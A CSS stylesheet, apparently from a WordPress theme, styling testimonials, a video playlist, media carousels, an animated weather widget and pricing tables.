.penci-testi-s5 .penci-testi-blockquote:after {
	content: "";
	position: absolute;
	bottom: -11px;
	left: 15px;
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 11px 10px 0 10px;
	border-color: #f5f5f5 transparent transparent transparent;
	z-index: 3
}
.penci-testi-s5 .penci-testi-avatar,
.penci-testi-s5 .penci-testi-name,
.post-entry .penci-testi-s5 h3.penci-testi-name {
	margin-top: 0
}
.penci-testi-s5 .penci-testi-company,
.penci-testi-s5 .penci-testi-rating {
	margin-top: 5px
}
.penci-media-obj {
	display: -webkit-box;
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-align: start;
	-webkit-align-items: flex-start;
	-ms-flex-align: start;
	align-items: flex-start
}
.penci-media-obj .penci-mobj-img {
	margin-right: 20px;
	position: relative
}
.penci-media-obj .penci-mobj-body {
	flex: 1
}
.penci-media-obj.penci-mobj-right .penci-mobj-img {
	-webkit-box-ordinal-group: 2;
	-webkit-order: 1;
	-ms-flex-order: 1;
	order: 1;
	margin-right: 0;
	margin-left: 20px
}
.penci-video_playlist .penci-block_content {
	position: relative;
	display: flex;
	flex-wrap: wrap
}
.penci-video_playlist .penci-playlist-title {
	background: var(--pcaccent-cl);
	color: #fff;
	min-height: 70px;
	width: 100%;
	padding: 0 15px;
	line-height: 17px;
	font-size: 20px;
	z-index: 9
}
.penci-video_playlist .penci-playlist-title .playlist-title-icon {
	font-size: 27px;
	float: left;
	margin-right: 10px;
	height: 70px;
	line-height: 70px;
	width: 40px;
	text-align: center;
	font-weight: 400
}
.penci-video_playlist .penci-playlist-title a {
	color: inherit
}
.penci-video_playlist .penci-playlist-title .fa {
	padding-right: 5px
}
.penci-video_playlist .penci-playlist-title h2 {
	padding-top: 14px;
	font-size: 18px;
	clear: none;
	color: inherit;
	margin: 0
}
.penci-video_playlist .penci-playlist-title .penci-videos-number {
	font-size: 11px;
	display: block;
	float: left
}
.penci-video_playlist .penci-video-play {
	background-color: #111;
	position: relative;
	width: 66%;
	float: left
}
.penci-video_playlist .penci-video-nav {
	width: 34%;
	height: 100%;
	float: right;
	position: absolute;
	top: 0;
	right: 0;
	border-width: 0 1px 1px 0;
	background: #f5f5f5;
	overflow: hidden
}
.penci-video_playlist .penci-custom-scroll {
	overflow-y: auto;
	height: 100%
}
.penci-video_playlist .penci-custom-scroll::-webkit-scrollbar {
	width: 6px;
	background: #dedede
}
.penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb {
	background-color: var(--pcaccent-cl);
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0
}
.penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-corner {
	background-color: #dedede
}
.penci-video_playlist .fluid-width-video-wrapper {
	padding-top: 56.25% !important
}
.penci-video_playlist .penci-video-play {
	background-color: #111;
	position: relative;
	width: 66%;
	float: left
}
.penci-video_playlist .penci-video-play .video-player-wrapper {
	position: relative;
	z-index: 2
}
.penci-video_playlist .penci-video-play .loader-overlay {
	z-index: 1
}
.penci-video_playlist .penci-video-play .video-frame {
	visibility: hidden
}
.penci-video_playlist .penci-video-play iframe {
	width: 100%
}
.penci-video_playlist .fluid-width-video-wrapper {
	position: relative;
	z-index: 2
}
.fluid-width-video-wrapper embed,
.fluid-width-video-wrapper iframe,
.fluid-width-video-wrapper object {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%
}
.penci-video_playlist .penci-video-nav .penci-video-thumbnail {
	width: 100px;
	height: 56px;
	float: left
}
.penci-video_playlist .penci-video-thumbnail:after {
	content: "";
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	background: #000;
	opacity: 0;
	z-index: 1;
	transition: opacity .3s ease
}
.penci-video_playlist .penci-video-nav .penci-video-thumbnail:hover:after {
	opacity: .3
}
.penci-video_playlist .penci-video-nav .playlist-panel-item {
	float: left;
	width: 20px;
	text-align: left;
	line-height: 56px;
	font-size: 13px;
	color: #111
}
.penci-video_playlist .penci-video-nav .penci-video-playlist-item {
	padding: 12px 15px;
	display: block;
	overflow: hidden;
	cursor: pointer;
	border-bottom: 1px solid #dedede;
	transition: all .3s
}
.penci-video_playlist .penci-video-nav .penci-video-playlist-item:hover {
	background: #dedede
}
.penci-video_playlist .penci-video-playlist-item .penci-video-play-icon {
	display: none;
	color: var(--pcaccent-cl)
}
.penci-video_playlist .penci-video-playlist-item .penci-video-paused-icon {
	display: none
}
.penci-video_playlist .penci-video-playlist-item.is-playing .penci-video-play-icon {
	display: block
}
.penci-video_playlist .penci-video-playlist-item.is-playing .penci-video-number {
	display: none
}
.penci-video_playlist .penci-video-playlist-item.is-paused .penci-video-paused-icon {
	display: block
}
.penci-video_playlist .penci-video-playlist-item.is-paused .penci-video-number {
	display: none
}
.penci-video_playlist .penci-video-playlist-item .penci-video-title {
	font-size: 13px;
	font-weight: 400;
	line-height: 1.3;
	font-family: inherit;
	width: 100%;
	display: block;
	float: left;
	margin-top: -2px;
	transition: all .3s;
	color: #000
}
.penci-video_playlist .penci-video-playlist-item .penci-video-title:hover {
	color: var(--pcaccent-cl)
}
.penci-video_playlist .penci-video-playlist-item .penci-video-duration {
	float: left;
	font-size: 11px;
	color: #888;
	margin-top: 5px;
	line-height: 1
}
.pencisc-column-1.penci-video_playlist .penci-video-nav {
	width: 100%;
	position: relative
}
.pencisc-column-1.penci-video_playlist .penci-video-play {
	width: 100%
}
.pencisc-column-1.penci-video_playlist .penci-video-nav .penci-video-thumbnail,
.pencisc-column-2.penci-video_playlist .penci-video-nav .penci-video-thumbnail {
	width: 75px;
	height: 42.18px
}
.pencisc-column-1.penci-video_playlist .penci-video-nav .penci-video-playlist-nav {
	min-height: 100px;
	max-height: 283px
}
.pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item,
.pencisc-column-2.penci-video_playlist .penci-video-nav .playlist-panel-item {
	position: absolute;
	bottom: 0;
	left: 0;
	font-size: 10px;
	width: 20px;
	height: 20px;
	text-align: center;
	vertical-align: middle;
	line-height: 20px;
	z-index: 10;
	background: var(--pcaccent-cl);
	color: #fff
}
.penci-media-carousels {
	overflow: hidden
}
.penci-advanced-carousel-mg {
	margin-left: -5px;
	margin-right: -5px;
	display: block;
	clear: both
}
.penci-media-carousels .penci-image-holder[style*=background-image] {
	background-color: transparent
}
.penci-media-carousels .overlay-icon-format {
	opacity: 1;
	transform: scale(1);
	-webkit-transform: scale(1);
	-moz-transform: scale(1);
	transition: all .3s
}
.pc-ctpos-on .overlay-icon-format {
	top: 10px;
	right: 10px;
	z-index: 10;
	margin: 0;
	left: auto
}
.penci-media-carousels .penci-media-inner {
	padding: 0 5px
}
.penci-media-carousels .penci-media-inct {
	display: -ms-flexbox;
	display: flex;
	flex-direction: column;
	position: relative
}
.penci-media-carousels .penci-media-content {
	text-align: center;
	margin-top: 20px
}
.penci-media-img {
	position: relative
}
.penci-media-img>a {
	display: block
}
.penci-media-carousels.pc-ctpos-above .penci-media-img {
	order: 3
}
.penci-media-carousels.pc-ctpos-above .penci-media-content {
	order: 1;
	margin-top: 0;
	margin-bottom: 20px
}
.penci-media-carousels.pc-ctpos-on .penci-media-content {
	margin: 0;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	width: 100%;
	height: 100%;
	display: -ms-flexbox;
	display: flex;
	flex-direction: row;
	z-index: 9;
	align-items: flex-end
}
.pc-ctpos-on .penci-media-content .pc-media-ctinner {
	width: 100%;
	padding: 15px 10px;
	position: relative;
	z-index: 2
}
.pc-media-ctinner {
	position: relative
}
.pc-ctpos-on .penci-media-content>a,
.penci-media-carousels .pc-adcr-overlay,
.penci-media-carousels .pc-media-ctinner:before {
	position: absolute;
	font-size: 0;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	display: block;
	z-index: 9
}
.penci-media-carousels .pc-media-ctinner:before {
	z-index: -1;
	content: ""
}
.pc-adcr-overlay,
.penci-media-carousels .pc-media-ctinner:before {
	opacity: .5;
	transition: all .3s
}
.penci-media-carousels .penci-media-inct:hover .pc-media-ctinner:before .penci-media-inct:hover .pc-adcr-overlay {
	opacity: .7
}
.penci-media-carousels .penci-media-stit {
	line-height: 1.4;
	margin-bottom: 5px;
	font-size: 13px;
	color: #666
}
.penci-media-carousels .penci-media-title {
	font-size: 18px;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	margin: 0
}
.penci-media-carousels .penci-media-desc {
	margin-top: 8px;
	line-height: 1.6
}
.penci-media-rmbtn i,
.penci-media-rmbtn svg {
	color: inherit;
	font-size: inherit
}
.penci-media-carousels .pc-icpos-left i,
.penci-media-carousels .pc-icpos-left svg {
	margin-right: 5px
}
.penci-media-carousels .pc-icpos-right i,
.penci-media-carousels .pc-icpos-right svg {
	margin-left: 5px
}
.penci-weather-widget {
	overflow: hidden;
	color: #111;
	position: relative
}
.penci-weather-widget.loading span.penci-wuser-gps svg {
	animation: penci-spin .4s infinite linear
}
.penci-weather-city {
	font-size: 24px;
	font-weight: 700;
	line-height: 1;
	margin-bottom: 7px
}
.penci-weather-condition {
	font-size: 14px;
	line-height: 1;
	text-transform: capitalize;
	opacity: .8
}
.penci-location-icon {
	position: absolute;
	top: 0;
	right: 10px;
	font-size: 22px;
	opacity: .6;
	z-index: 1
}
.penci-location-icon:hover {
	cursor: pointer;
	opacity: .9
}
.penci-weather-temperature {
	padding: 3px 0;
	display: inline-block;
	width: 100%;
	float: left;
	text-align: center
}
@media screen and (max-width:1018px) {
	.penci-weather-temperature {
		margin-bottom: -6px;
		padding: 0
	}
}
.penci-weather-temp-wrap {
	display: inline-block
}
.penci-weather-now {
	text-align: center;
	line-height: 1;
	font-weight: 300;
	align-content: center;
	width: 30%;
	-webkit-touch-callout: none;
	-webkit-user-select: none;
	-khtml-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none
}
@media screen and (max-width:1018px) {
	.penci-weather-now {
		padding: 28px 0;
		position: relative;
		left: -10px;
		width: 90px;
		margin-left: 12px
	}
}
@media screen and (min-width:768px) and (max-width:1018px) {
	.penci-weather-now {
		margin-left: 0
	}
}
@media screen and (max-width:767px) {
	.penci-weather-now {
		width: 100px
	}
}
.penci-weather-now .penci-big-degrees {
	font-size: 40px
}
@media screen and (max-width:1018px) {
	.penci-weather-now .penci-big-degrees {
		font-size: 32px
	}
}
.penci-weather-now .penci-circle {
	font-size: 30px;
	position: relative;
	top: -6px;
	opacity: .6;
	line-height: 1;
	vertical-align: top
}
.penci-weather-now .penci-weather-unit {
	font-size: 16px;
	position: relative;
	top: -4px;
	font-weight: 400;
	opacity: .6;
	left: -2px;
	line-height: 1;
	vertical-align: top
}
.penci-weather-now:hover {
	cursor: pointer
}
.penci-weather-lo-hi {
	width: 20%;
	text-align: center
}
.penci-weather-lo-hi__content {
	padding: 15px 0
}
.penci-weather-lo-hi__content .penci-circle {
	padding-left: 3px
}
.penci-weather-degrees-wrap {
	padding: 15px 0;
	text-align: right;
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	justify-content: space-between
}
@media screen and (max-width:1018px) {
	.penci-weather-degrees-wrap {
		padding: 10px
	}
}
.penci-weather-degrees-wrap i {
	position: relative;
	top: 1px;
	font-size: 16px;
	color: #b3b3b3;
	right: 5px
}
.penci-weather-degrees-wrap .penci-small-degrees {
	font-size: 12px
}
.penci-weather-degrees-wrap .penci-circle {
	font-size: 18px;
	position: relative;
	right: 3px;
	top: 3px
}
.penci-weather-information {
	font-size: 12px;
	position: relative;
	padding: 5px 0;
	display: inline-block;
	width: 100%;
	vertical-align: top;
	opacity: .6;
	margin-top: 19px;
	border-top: 1px solid #ececec;
	border-bottom: 1px solid #ececec
}
.penci-weather-information i {
	font-size: 16px;
	position: relative;
	top: 2px;
	margin-right: 5px
}
.penci-weather-section {
	float: left;
	width: 33%
}
.penci_humidty {
	text-align: right;
	padding-right: 10px
}
.penci_wind {
	text-align: center
}
.penci_clouds {
	text-align: left;
	padding-left: 10px
}
.penci-weather-week {
	padding: 15px 8px;
	width: 100%;
	text-align: center;
	line-height: 1;
	position: relative;
	display: block;
	margin-bottom: -5px;
	clear: both;
	overflow: hidden
}
.penci-weather-week:before {
	content: "";
	width: 100%;
	height: 100%;
	position: absolute;
	top: 0;
	left: 0;
	background-color: var(--pcaccent-cl);
	opacity: .07
}
.penci-weather-days {
	width: 20%;
	float: left;
	text-align: center;
	text-transform: uppercase;
	line-height: 1
}
.penci-weather-days .penci-day {
	margin-bottom: 8px;
	font-size: 11px;
	opacity: .5
}
.penci-weather-days .penci-day-degrees {
	font-size: 20px;
	position: relative;
	left: 4px;
	line-height: 14px;
	opacity: .7
}
.penci-weather-days .penci-circle {
	position: relative;
	right: 5px
}
.penci-weather-days .penci-day {
	margin-top: 8px;
	font-size: 11px;
	opacity: .5
}
.penci-weather-set-location {
	display: none;
	position: absolute;
	top: 0
}
.penci-weather-set-location .penci-location-set-input {
	height: 20px;
	font-size: 20px;
	font-weight: 700;
	text-transform: uppercase;
	border: 0;
	padding: 0 10px
}
.penci-weather-set-location .penci-location-set-input:focus~label {
	top: -20px;
	font-size: 11px;
	opacity: .5
}
.penci-show-location {
	display: block !important
}
.penci-show-location label {
	position: absolute;
	top: 0;
	left: 10px;
	font-size: 13px;
	opacity: .6;
	pointer-events: none;
	-webkit-transition: all .2s ease;
	-moz-transition: all .2s ease;
	-o-transition: all .2s ease;
	transition: all .2s ease
}
.penci-weather-animated-icon {
	width: 45%;
	position: relative;
	text-align: center
}
.penci-weather-animated-icon i {
	width: 70px;
	font-size: 70px;
	opacity: .4;
	top: 15px;
	left: 0;
	right: auto
}
.penci_facebook_widget .penci-block_content {
	text-align: center
}
.penci_facebook_widget .fb_iframe_widget {
	max-width: 340px
}
.weather-icon {
	position: relative;
	margin: 0 auto .1em;
	width: 1em;
	height: .9em;
	font-size: 35px
}
.penci-weather-animated-icon .weather-icon {
	font-size: 75px
}
.penci-weather-widget [class*=" icon-"]:after,
.penci-weather-widget [class*=" icon-"]:before,
.penci-weather-widget [class^=icon-]:after,
.penci-weather-widget [class^=icon-]:before {
	font-family: weathericons
}
.icon-thunder-animi {
	position: absolute;
	width: 100%;
	height: 100%
}
.icon-thunder-animi:after,
.icon-thunder-animi:before {
	content: "\f010";
	position: absolute;
	width: 100%;
	z-index: 2;
	font-size: 3em;
	left: 40%;
	-webkit-transform: translateX(-50%) translateY(-30%);
	-ms-transform: translateX(-50%) translateY(-30%);
	transform: translateX(-50%) translateY(-30%)
}
.icon-thunder-animi:after {
	color: orange;
	z-index: 2;
	font-size: 2.5em;
	top: 90%
}
.icon-moon,
.icon-rainy-animi,
.icon-rainy-animi-2,
.icon-rainy-animi-4,
.icon-rainy-animi-5,
.icon-windysnow-animi,
.icon-windysnow-animi-2 {
	position: absolute;
	width: 100%;
	height: 100%
}
.icon-rainy-animi-2:after,
.icon-rainy-animi-2:before,
.icon-rainy-animi-4:after,
.icon-rainy-animi-4:before,
.icon-rainy-animi-5:after,
.icon-rainy-animi-5:before,
.icon-rainy-animi:after,
.icon-rainy-animi:before,
.icon-windysnow-animi-2:after,
.icon-windysnow-animi-2:before,
.icon-windysnow-animi:after,
.icon-windysnow-animi:before {
	content: "\f036";
	position: absolute;
	z-index: 2;
	opacity: .6
}
.icon-rainy-animi-2:after,
.icon-rainy-animi-4:after,
.icon-rainy-animi-5:after,
.icon-rainy-animi:after,
.icon-windysnow-animi-2:after,
.icon-windysnow-animi:after {
	opacity: 0;
	-webkit-animation-fill-mode: forwards;
	animation-fill-mode: forwards
}
.animi-icons-wrap {
	font-size: .14em;
	position: absolute;
	z-index: 2;
	left: 48%;
	bottom: 0;
	-webkit-transform: translateX(-50%);
	-ms-transform: translateX(-50%);
	transform: translateX(-50%);
	width: 2.5em;
	height: 2.5em
}
.icon-rainy-animi-2:after,
.icon-rainy-animi-2:before,
.icon-rainy-animi-4:after,
.icon-rainy-animi-4:before,
.icon-rainy-animi-5:after,
.icon-rainy-animi-5:before,
.icon-rainy-animi:after,
.icon-rainy-animi:before {
	content: "\f078";
	top: calc(50% - .43em);
	left: 0;
	right: auto;
	width: .96em;
	height: .96em;
	color: #fff
}
.icon-rainy-animi-2:after,
.icon-rainy-animi-2:before {
	right: 0;
	left: auto;
	top: calc(50% - .43em)
}
.icon-rainy-animi-4:after,
.icon-rainy-animi-4:before {
	left: calc(50% - .43em);
	top: calc(100% - .96em)
}
.icon-rainy-animi-5:after,
.icon-rainy-animi-5:before {
	left: calc(50% - .43em);
	top: 0
}
.drizzle-icons .icon-rainy-animi-2:after,
.drizzle-icons .icon-rainy-animi-2:before,
.drizzle-icons .icon-rainy-animi-4:after,
.drizzle-icons .icon-rainy-animi-4:before,
.drizzle-icons .icon-rainy-animi-5:after,
.drizzle-icons .icon-rainy-animi-5:before,
.drizzle-icons .icon-rainy-animi:after,
.drizzle-icons .icon-rainy-animi:before {
	-webkit-transform: rotate(30deg);
	-ms-transform: rotate(30deg);
	transform: rotate(30deg)
}
.icon-windysnow-animi-2:after,
.icon-windysnow-animi-2:before,
.icon-windysnow-animi:after,
.icon-windysnow-animi:before {
	content: "\f021";
	width: 100%;
	height: 100%;
	font-size: 1.8em;
	top: 0;
	left: .3em
}
.icon-windysnow-animi-2:after,
.icon-windysnow-animi:after {
	width: 2em;
	height: 2em
}
.icon-windysnow-animi-2:after,
.icon-windysnow-animi-2:before {
	font-size: 1em;
	top: 1.5em;
	right: .7em;
	left: auto
}
.icon-windysnow-animi-2:after {
	width: 2em;
	height: 2em;
	left: -.5em
}
.icon-moon:after {
	content: "\f02e";
	position: absolute;
	font-size: .65em;
	left: 0;
	right: 0;
	top: .2em
}
.icon-moon:before {
	display: none
}
.icon-moon-animi:before {
	content: "\f02e";
	position: absolute;
	right: -.3em;
	font-size: .35em;
	top: .2em
}
.icon-sun:after {
	content: "\f00d";
	position: absolute;
	color: orange;
	font-size: .9em;
	left: 0;
	right: 0
}
.icon-sun-animi:after {
	content: "\f00d";
	position: absolute;
	color: orange;
	right: -.3em;
	top: .07em;
	font-size: .4em
}
.basecloud:before,
.icon-cloud:after {
	font-family: FontAwesome !important;
	content: "\f0c2" !important;
	font-size: .86em;
	position: absolute;
	left: 0;
	right: 0;
	z-index: 2;
	color: var(--pcaccent-cl);
	text-shadow: var(--pcbg-cl) 2px 0 0, var(--pcbg-cl) 1.75517px .958851px 0, var(--pcbg-cl) 1.0806px 1.68294px 0, var(--pcbg-cl) .141474px 1.99499px 0, var(--pcbg-cl) -.832294px 1.81859px 0, var(--pcbg-cl) -1.60229px 1.19694px 0, var(--pcbg-cl) -1.97998px .28224px 0, var(--pcbg-cl) -1.87291px -.701566px 0, var(--pcbg-cl) -1.30729px -1.5136px 0, var(--pcbg-cl) -.421592px -1.95506px 0, var(--pcbg-cl) .567324px -1.91785px 0, var(--pcbg-cl) 1.41734px -1.41108px 0, var(--pcbg-cl) 1.92034px -.558831px 0
}
.basecloud:before {
	left: 50%;
	right: auto;
	-webkit-transform: translateX(-50%);
	-ms-transform: translateX(-50%);
	transform: translateX(-50%)
}
.icon-basecloud-bg:after {
	content: "\f07d";
	z-index: 1
}
.icon-cloud-behind:after {
	font-size: .48em;
	content: "\f041";
	position: absolute;
	left: -.2em;
	top: .4em;
	z-index: 1;
	opacity: .6
}
.icon-mist:before {
	content: "\f021";
	position: absolute;
	left: 0;
	right: 0
}
.icon-mist-animi:before {
	content: "\f021";
	position: absolute;
	left: 0;
	right: 0;
	display: none
}
.is-animated .icon-thunder-animi:before {
	-webkit-animation: flashing 2s ease-out infinite;
	animation: flashing 2s ease-out infinite
}
.is-animated .icon-thunder-animi:after {
	-webkit-animation: flashing-reverse 2s steps(1) infinite;
	animation: flashing-reverse 2s steps(1) infinite
}
.is-animated .icon-rainy-animi:after {
	-webkit-animation: rain-animi-effect .2s ease-out infinite;
	animation: rain-animi-effect .2s ease-out infinite
}
.is-animated .icon-rainy-animi-2:after {
	-webkit-animation: rain-animi-effect .25s ease-out infinite;
	animation: rain-animi-effect .25s ease-out infinite
}
.is-animated .icon-rainy-animi-4:after {
	-webkit-animation: rain-animi-effect .35s ease-out infinite;
	animation: rain-animi-effect .35s ease-out infinite
}
.is-animated .icon-rainy-animi-5:after {
	-webkit-animation: rain-animi-effect .4s ease-out infinite;
	animation: rain-animi-effect .4s ease-out infinite
}
.is-animated .drizzle-icons .icon-rainy-animi:after {
	-webkit-animation: drizzle-animi-effect 2.2s ease-out infinite;
	animation: drizzle-animi-effect 2.2s ease-out infinite
}
.is-animated .drizzle-icons .icon-rainy-animi-2:after {
	-webkit-animation: drizzle-animi-effect 2.3s ease-out infinite;
	animation: drizzle-animi-effect 2.3s ease-out infinite
}
.is-animated .drizzle-icons .icon-rainy-animi-4:after {
	-webkit-animation: drizzle-animi-effect 2.5s ease-out infinite;
	animation: drizzle-animi-effect 2.5s ease-out infinite
}
.is-animated .drizzle-icons .icon-rainy-animi-5:after {
	-webkit-animation: drizzle-animi-effect 2.6s ease-out infinite;
	animation: drizzle-animi-effect 2.6s ease-out infinite
}
.is-animated .showers-icons .icon-rainy-animi:after {
	-webkit-animation: drizzle-animi-effect .2s ease-out infinite;
	animation: drizzle-animi-effect .2s ease-out infinite
}
.is-animated .showers-icons .icon-rainy-animi-2:after {
	-webkit-animation: drizzle-animi-effect .23s ease-out infinite;
	animation: drizzle-animi-effect .23s ease-out infinite
}
.is-animated .showers-icons .icon-rainy-animi-4:after {
	-webkit-animation: drizzle-animi-effect .18s ease-out infinite;
	animation: drizzle-animi-effect .18s ease-out infinite
}
.is-animated .showers-icons .icon-rainy-animi-5:after {
	-webkit-animation: drizzle-animi-effect .44s ease-out infinite;
	animation: drizzle-animi-effect .44s ease-out infinite
}
.is-animated .icon-windysnow-animi-2:after,
.is-animated .icon-windysnow-animi:after {
	-webkit-animation: rain-animi-effect-with-rotate 2s ease-out infinite;
	animation: rain-animi-effect-with-rotate 2s ease-out infinite
}
.is-animated .icon-windysnow-animi-2:after {
	-webkit-animation: rain-animi-effect-with-rotate 1.5s ease-out infinite;
	animation: rain-animi-effect-with-rotate 1.5s ease-out infinite
}
.is-animated .icon-moon:after {
	-webkit-animation: penci-float-y 2s linear infinite;
	animation: penci-float-y 2s linear infinite
}
.is-animated .icon-moon-animi:before {
	-webkit-animation: penci-float-y 2s linear infinite;
	animation: penci-float-y 2s linear infinite
}
.is-animated .icon-sun:after {
	-webkit-animation: penci-spin 8s infinite linear;
	animation: penci-spin 8s infinite linear
}
.is-animated .icon-sun-animi:after {
	-webkit-animation: penci-spin 8s infinite linear;
	animation: penci-spin 8s infinite linear
}
.is-animated .icon-cloud-behind:after {
	-webkit-animation: passing 2s linear infinite;
	animation: passing 2s linear infinite
}
.is-animated .icon-mist:before {
	-webkit-animation: penci-float-x 2s infinite ease;
	animation: penci-float-x 2s infinite ease
}
.is-animated .icon-mist-animi:before {
	display: inline-block;
	-webkit-animation: burst 2s infinite linear;
	animation: burst 2s infinite linear
}
.penci-weather-widget .icon-basecloud-bg:after {
	color: #1db523
}
@-webkit-keyframes rain-animi-effect {
	0% {
		opacity: 1
	}
	100% {
		opacity: 0;
		-webkit-transform: translateY(3em);
		transform: translateY(3em)
	}
}
@keyframes rain-animi-effect {
	0% {
		opacity: 1
	}
	100% {
		opacity: 0;
		-webkit-transform: translateY(3em);
		transform: translateY(3em)
	}
}
@-webkit-keyframes rain-animi-effect-with-rotate {
	0% {
		opacity: 1;
		-webkit-transform: translateY(0) rotate(0);
		transform: translateY(0) rotate(0)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateY(1em) rotate(360deg);
		transform: translateY(1em) rotate(360deg)
	}
}
@keyframes rain-animi-effect-with-rotate {
	0% {
		opacity: 1;
		-webkit-transform: translateY(0) rotate(0);
		transform: translateY(0) rotate(0)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateY(1em) rotate(360deg);
		transform: translateY(1em) rotate(360deg)
	}
}
@-webkit-keyframes drizzle-animi-effect {
	0% {
		opacity: 1;
		-webkit-transform: translateY(0) translateX(0) rotate(10deg);
		transform: translateY(0) translateX(0) rotate(10deg)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateY(3em) translateX(-3em) rotate(20deg);
		transform: translateY(3em) translateX(-3em) rotate(20deg)
	}
}
@keyframes drizzle-animi-effect {
	0% {
		opacity: 1;
		-webkit-transform: translateY(0) translateX(0) rotate(10deg);
		transform: translateY(0) translateX(0) rotate(10deg)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateY(3em) translateX(-3em) rotate(20deg);
		transform: translateY(3em) translateX(-3em) rotate(20deg)
	}
}
@-webkit-keyframes penci-float-y {
	0% {
		-webkit-transform: translateY(0);
		transform: translateY(0)
	}
	50% {
		-webkit-transform: translateY(-6px);
		transform: translateY(-6px)
	}
	100% {
		-webkit-transform: translateY(0);
		transform: translateY(0)
	}
}
@keyframes penci-float-y {
	0% {
		-webkit-transform: translateY(0);
		transform: translateY(0)
	}
	50% {
		-webkit-transform: translateY(-6px);
		transform: translateY(-6px)
	}
	100% {
		-webkit-transform: translateY(0);
		transform: translateY(0)
	}
}
@-webkit-keyframes penci-spin {
	0% {
		-webkit-transform: rotate(0);
		transform: rotate(0)
	}
	100% {
		-webkit-transform: rotate(360deg);
		transform: rotate(360deg)
	}
}
@keyframes penci-spin {
	0% {
		-webkit-transform: rotate(0);
		transform: rotate(0)
	}
	100% {
		-webkit-transform: rotate(360deg);
		transform: rotate(360deg)
	}
}
@-webkit-keyframes passing {
	0% {
		-webkit-transform: translateX(50%);
		transform: translateX(50%);
		opacity: 0
	}
	50% {
		-webkit-transform: translateX(0);
		transform: translateX(0);
		opacity: 1
	}
	100% {
		-webkit-transform: translateX(-50%);
		transform: translateX(-50%);
		opacity: 0
	}
}
@keyframes passing {
	0% {
		-webkit-transform: translateX(50%);
		transform: translateX(50%);
		opacity: 0
	}
	50% {
		-webkit-transform: translateX(0);
		transform: translateX(0);
		opacity: 1
	}
	100% {
		-webkit-transform: translateX(-50%);
		transform: translateX(-50%);
		opacity: 0
	}
}
@-webkit-keyframes burst {
	0% {
		opacity: .6
	}
	50% {
		-webkit-transform: scale(1.8);
		transform: scale(1.8);
		opacity: 0
	}
	100% {
		opacity: 0
	}
}
@keyframes burst {
	0% {
		opacity: .6
	}
	50% {
		-webkit-transform: scale(1.8);
		transform: scale(1.8);
		opacity: 0
	}
	100% {
		opacity: 0
	}
}
@-webkit-keyframes penci-float-x {
	0% {
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
	50% {
		-webkit-transform: translateX(-6px);
		transform: translateX(-6px)
	}
	100% {
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
}
@keyframes penci-float-x {
	0% {
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
	50% {
		-webkit-transform: translateX(-6px);
		transform: translateX(-6px)
	}
	100% {
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
}
@-webkit-keyframes flashing {
	0%,
	100%,
	50% {
		opacity: 1
	}
	25%,
	75% {
		opacity: 0
	}
}
@keyframes flashing {
	0%,
	100%,
	50% {
		opacity: 1
	}
	25%,
	75% {
		opacity: 0
	}
}
@-webkit-keyframes flashing-reverse {
	0%,
	100%,
	50% {
		opacity: 0
	}
	25%,
	75% {
		opacity: 1
	}
}
@keyframes flashing-reverse {
	0%,
	100%,
	50% {
		opacity: 0
	}
	25%,
	75% {
		opacity: 1
	}
}
span.penci-wuser-gps {
	position: absolute;
	top: 0;
	right: 0;
	opacity: .5;
	cursor: pointer
}
span.penci-wuser-gps svg {
	width: 30px;
	height: 30px
}
.penci-pricing-item {
	color: #888;
	text-align: center;
	padding: 20px;
	font-size: 15px;
	box-sizing: content-box;
	overflow: hidden;
	position: relative
}
.penci-pricing_featured.penci-pricing-f-hheight {
	padding-top: 50px;
	padding-bottom: 50px;
	transform: translateY(-30px);
	position: relative
}
@media (min-width:768px) {
	.penci-pricing_featured.penci-pricing-f-scale {
		background: var(--pcbg-cl);
		transform: scale(1.15);
		-webkit-transform: scale(1.15);
		position: relative;
		z-index: 3
	}
}
.penci-pricing_featured .penci-pricing-ribbon {
	position: absolute;
	height: 60px;
	width: 38px;
	background: var(--pcaccent-cl);
	color: #fff;
	border-bottom-left-radius: 20px;
	border-bottom-right-radius: 20px;
	right: 15px;
	top: 0;
	padding-bottom: 15px;
	display: flex;
	align-items: flex-end;
	justify-content: center;
	font-size: 18px;
	z-index: 5
}
.penci-pricing_featured .penci-pricing-ribbon-text {
	position: absolute;
	top: 18px;
	right: -67px;
	padding: 4px 0;
	width: 200px;
	background-color: #ff6618;
	color: #fff;
	transform: rotate(40deg);
	text-align: center;
	font-size: 12px;
	line-height: 1.3em;
	z-index: 5;
	text-transform: uppercase;
	font-family: var(--pchead-font)
}
.penci-pricing-item.penci-pricing-s1 {
	border: 1px solid var(--pcborder-cl)
}
.penci-pricing-item.penci-pricing-s2 {
	box-shadow: 0 15px 30px 0 rgba(0, 0, 0, .1);
	background-color: #ffff;
	border-radius: 15px
}
.penci-pricing-item.penci-pricing-s2 .penci-pricing-btn {
	border-radius: 10px
}
.penci-pricing-item:after {
	content: "";
	display: table;
	width: 100%
}
.penci-pricing-item .penci-pricing-inner {
	position: relative
}
.penci-pricing-item .penci-pricing-image {
	width: 150px;
	text-align: center;
	margin: 0 auto 20px;
	overflow: hidden
}
.penci-pricing-item .penci-pricing-image img {
	height: auto;
	display: inline-block;
	vertical-align: top
}
.penci-pricing-item .penci-pricing-icon {
	text-align: center;
	font-size: 50px;
	margin-bottom: 20px;
	line-height: 1
}
.penci-pricing-item .penci-pricing-icon i {
	font-size: inherit;
	color: inherit;
	display: inline-block;
	vertical-align: top
}
